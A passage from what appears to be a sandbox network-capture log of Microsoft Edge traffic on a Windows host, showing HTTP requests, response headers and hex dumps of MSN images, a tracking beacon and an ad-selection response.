/!1)(x3%AvtUo$:GK:3h]Go'Y1V$lgYj.my"`LWHTu]{5D}tCbTH2\7p$p}7{8=[(d{}W8MMqd4M<Ic$6.<^d}GW:}Q+&B%CG[k
2024-11-18 14:17:06 UTC	16384	IN	Data Raw: 34 73 3c bb 98 0e 00 9b c6 c9 bb 6f ed f4 2e c7 37 aa 20 89 04 87 4c 6e a5 cb 97 16 32 f7 e2 39 2a 73 60 93 14 98 22 6d 77 47 c0 ab ca 7c 52 c6 eb e7 a9 1b e5 95 da fa 31 06 c5 af 04 d9 c7 f0 89 95 0e 3c 85 8f 61 04 fc c3 8e ea d7 6a df 5d e6 a8 73 58 da 60 ff 00 ca 4b 40 03 53 33 2a ae 5c 79 3b 79 6b 88 93 ca 7a d2 08 3f 5b 2b c5 ca 2f 7d eb e4 5d 98 cf 74 9c 8e 89 0e 2d e6 8d 0c cc 4c 8d a6 64 5d 59 70 2d c6 79 e7 43 41 69 92 34 a9 a4 c8 80 4a ac ec 2f 6e 31 92 0b 98 49 04 88 81 1f 11 ee 54 b9 32 39 ae 6b 64 3a 86 08 30 62 e3 4b 9b 8e 29 3c d5 53 ff 00 85 12 0c 04 3c 63 c8 41 24 0a 5c d2 2d 00 9a 60 c6 f0 34 4f 4b 32 8c 65 ac 03 21 ab 99 ce d6 99 0d 88 b1 b0 53 63 cb 8d d9 31 bb d2 6b 9d e9 de a3 00 1a 60 5e e2 0d b5 d6 60 a8 dd 46 1a e9 02 5a 4d c7 30 Data Ascii: 4s<o.7 Ln29s`"mwG\|R1<aj]sX`K@S3\y;ykz?[+/}]t-Ld]Yp-yCAi4J/n1IT29kd:0bK)<S<cA$\-`4OK2e!Sc1k`^`FZM0
2024-11-18 14:17:06 UTC	7952	IN	Data Raw: 82 35 1c 3d b7 48 ec b3 f2 c1 90 4e b1 4e d3 fe 7c 96 09 72 4b 5d b7 c9 77 44 38 f2 3f d5 39 1c e2 1e d6 e9 a8 36 bc f4 30 61 59 1e a5 db a0 f9 84 da e3 43 a7 97 b2 84 ba 87 bc 41 35 8d 76 3e e7 49 4e cc 95 06 07 4c 01 03 7d 4e 81 54 fe 15 50 26 50 67 6a ec 5d c1 04 d4 63 98 89 83 a4 cc 81 a1 b1 9d 55 8f 48 35 d6 02 ce 02 92 7e 66 8e 20 ea e1 a0 91 b2 b2 1d 01 d6 f1 e8 3e ee ae 3b 06 4c 5d b3 df 93 94 38 72 9d 5c 61 dc b0 38 8b 6b 30 34 53 2f 26 d6 f7 a5 f2 24 ac a4 dc de 9e 3f 44 32 90 5c d7 3a a9 9e 60 20 c7 d3 82 87 1e 3c 87 23 0b 07 34 55 ec d8 f7 8b 74 2a 67 e5 73 f3 0d 1c e3 54 b8 c9 26 04 5f 8d a0 2b c3 2b 18 fa c3 c8 a4 11 43 45 e0 08 22 5d 63 57 b1 f8 28 72 71 d9 2b 6a fd 47 bd 15 58 7d 17 35 94 bc 9b b0 34 58 c9 1a b8 41 16 3b 15 7f bb 6e 6c f8 Data Ascii: 5=HNN\|rK]wD8?960aYCA5v>INL}NTP&Pgj]cUH5~f >;L]8r\a8k04S/&$?D2\:` <#4Ut*gsT&_++CE"]cW(rq+jGX}54XA;nl
2024-11-18 14:17:06 UTC	16384	IN	Data Raw: f8 65 ad 2c 9d 0e d9 98 dc d3 91 e3 94 3a 22 f3 3a c0 88 9b 02 0f 45 cb 71 0d 79 73 26 1c 1c 27 70 d7 4d be fa 24 39 1f 55 9d 00 55 a1 e5 8e 80 6e 4c eb d5 6e 16 bf 23 83 1a d2 67 f0 d7 c7 64 92 e2 dc 9b dd 7d 10 ef 6a 2e f6 4c c6 cf 51 ce cb 4c 32 96 37 52 f2 66 67 ac ff 00 2b 68 b3 b7 f5 1b 97 13 da e0 1a 1e 18 4c 81 36 83 22 67 cf d9 54 7e 42 1e 5a 43 29 61 74 16 e8 49 17 8f b8 57 7b 6e f1 9d b6 12 c6 30 b9 f9 0b 89 2f 32 d8 00 4c c4 1b ee 14 cd 4a 9b 5f 77 2a c6 2a 8a b5 84 dd 51 d6 ff 00 61 8f 1b 3b 5c 40 17 3c 92 2e 4e 80 ea 22 ce bd a0 91 e6 a9 76 23 0d 45 af 34 37 d3 87 b4 b9 c6 ab 4c 92 22 36 b7 18 55 b2 65 f5 de d7 ba 91 53 62 da 72 88 1f 4b 23 03 bb 76 0c d5 d4 ed 99 12 3a 49 3a 78 68 b0 50 6b c5 c5 f2 6f a6 f9 65 39 27 2b 54 51 c9 cf 91 ce 6d Data Ascii: e,:":Eqys&'pM$9UUnLn#gd}j.LQL27Rfg+hL6"gT~BZC)atIW{n0/2LJ_w**Qa;\@<.N"v#E47L"6UeSbrK#v:I:xhPkoe9'+TQm
2024-11-18 14:17:06 UTC	16384	IN	Data Raw: c6 5c d7 07 07 58 53 37 1a 1f 05 d2 ed 1e 0f 74 c1 8f 90 b9 b4 3e 64 82 00 3c bd 6f 61 ee b8 dd ef 72 d3 99 e5 ad 73 49 26 a6 bf f5 01 7d ec 3a 0d 96 09 ca 7e 4a af f1 4f f7 34 69 71 be a4 79 35 0e 8d 26 0d e0 80 66 27 42 40 80 61 66 2f 91 a4 83 7d 38 ef f0 d5 49 dd 77 6f 7e 2e df 1b 5a 68 a0 4d 4d 89 73 64 40 31 a0 1e 26 e5 43 8f b8 8c 61 96 a4 6f f5 8d 35 88 5d 15 2e 2b ed d7 6b d0 9a 5d cb c3 18 f9 9a e0 35 2e e0 62 05 fd b5 f7 49 87 11 c9 4b 1c ea 03 8c 4b ae 20 cc 90 06 e9 3d 43 06 06 f7 b6 b6 95 45 cf 71 63 79 ae 63 7b ee 25 42 52 77 9f f8 52 3b 98 fb 4c ce 2d 60 6b a2 aa 4b 8b 48 60 6e 80 98 9f 87 45 b9 31 e6 ee 4d 21 cc 3e 89 10 d8 83 4c 44 58 40 e8 64 fb 23 07 7a d2 48 ca eb bd cd 64 80 22 96 cd c6 83 7d 2c 0e ea cf fb 1c cc c0 1c 70 e5 6d 70 5b Data Ascii: \XS7t>d<oarsI&}:~JO4iqy5&f'B@af/}8Iwo~.ZhMMsd@1&Cao5].+k]5.bIKK =CEqcyc{%BRwR;L-`kKH`nE1M!>LDX@d#zHd"},pmp[
2024-11-18 14:17:06 UTC	7952	IN	Data Raw: d5 56 1c d7 58 88 93 ad cf 13 65 e2 06 2a 5d ff 00 94 79 0e 2b 2f e9 fd c9 3f 23 9b 5a 71 4b 6f 92 e7 c5 25 45 9c 1f db f5 0c 49 f4 cc 71 96 ff 00 95 23 c3 5b 88 4e fe 9d a2 f3 04 c5 bd cf 92 6c 4d 8c 6d 13 24 17 03 d4 c4 c2 67 b0 65 76 06 e8 df e6 ed 9a 06 a7 c8 4a d2 ee 7e b9 f4 46 48 eb 7f b1 6e 46 63 c0 c7 1c 78 dc c1 cd 8f 1d 6d 87 40 74 3a 64 48 03 ad 8e 8b 81 dd 39 ce 21 e6 d5 b8 be da 99 6b 7f 22 bb 9f ec 0e 57 31 85 ed 10 e7 b8 e3 00 c9 0d 2d 14 d4 01 22 60 ee 4b 94 7d 9f 6b 8f bb c8 e0 fa c3 31 92 39 41 3a 03 bc 40 e6 bf 11 65 cf e3 6b c7 e3 52 95 62 ee be 7f b9 bc be e9 52 38 6f 8b 8d 22 64 6e 4c c5 bc d1 8b b6 cb 9b 33 70 c4 38 87 44 98 06 96 93 63 f4 e2 ba bd ef fa ec fd ab 9e f3 4e 46 30 87 97 35 df ae 20 45 9c 48 9b c0 f8 28 bb 6e e0 b3 b8 Data Ascii: VXe*]y+/?#ZqKo%EIq#[NlMm$gevJ~FHnFcxm@t:dH9!k"W1-"`K}k19A:@ekRbR8o"dnL3p8DcNF05 EH(n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	49808	23.47.50.160	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:05 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:06 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=223190 Expires: Thu, 21 Nov 2024 04:16:55 GMT Date: Mon, 18 Nov 2024 14:17:05 GMT Connection: close
2024-11-18 14:17:06 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	49809	23.47.50.160	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:05 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:06 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 01:31:10 GMT X-Datacenter: eastus X-ActivityId: c62b896e-0318-4a4b-9fe6-25e6c1dee8b4 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=213185 Expires: Thu, 21 Nov 2024 01:30:10 GMT Date: Mon, 18 Nov 2024 14:17:05 GMT Connection: close
2024-11-18 14:17:06 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.9	49810	23.47.50.160	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:05 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:06 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 14 Nov 2024 01:05:02 GMT X-Source-Length: 5699 X-Datacenter: westus X-ActivityId: 17b03347-bb6f-457d-a77b-dd718d1aee67 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=427701 Expires: Sat, 23 Nov 2024 13:05:26 GMT Date: Mon, 18 Nov 2024 14:17:05 GMT Connection: close
2024-11-18 14:17:06 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.9	49807	23.47.50.160	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:05 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:06 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=384619 Expires: Sat, 23 Nov 2024 01:07:24 GMT Date: Mon, 18 Nov 2024 14:17:05 GMT Connection: close
2024-11-18 14:17:06 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.9	49811	23.47.50.160	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:05 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:06 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 07:55:37 GMT X-Source-Length: 3765 X-Datacenter: northeu X-ActivityId: a02c37a4-2bd7-4056-aa62-a9ddb69c33bb Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=149900 Expires: Wed, 20 Nov 2024 07:55:25 GMT Date: Mon, 18 Nov 2024 14:17:05 GMT Connection: close
2024-11-18 14:17:06 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	49813	108.156.211.19	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:06 UTC	1012	OUT	GET /b2?rn=1731939423841&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3F08C5280D76656126F5D0130C21645D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=182f5a61b169bb601efae761731939425; XID=182f5a61b169bb601efae761731939425
2024-11-18 14:17:06 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 18 Nov 2024 14:17:06 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 cfdcdd1b2ce759e37ac4aa58359c9c64.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: ZOmkMNYOq7b6_YJ0Eau8Q5NeZQsvvM8IKucgnKuO7j-TZFwaGrdmWQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.9	49815	23.96.180.189	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:06 UTC	1010	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3F08C5280D76656126F5D0130C21645D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-1896095743575897587&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=1aee565c08c841cfc67a421d628172d2 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3F08C5280D76656126F5D0130C21645D; _EDGE_S=F=1&SID=03766A6908E46CF70A4D7F5209536D1F; _EDGE_V=1
2024-11-18 14:17:06 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2760 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132766-T700343875-C128000000002115009+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115009+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 18 Nov 2024 14:17:05 GMT Connection: close
2024-11-18 14:17:06 UTC	2760	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 53 6c 69 65 76 65 20 4c 65 61 67 75 65 2c 20 49 72 65 6c 61 6e 64 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 53 6c 69 65 76 65 2b 4c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Slieve League, Ireland\",\"cta\":\"https:\/\/www.bing.com\/search?q=Slieve+L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.9	49816	23.47.50.160	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
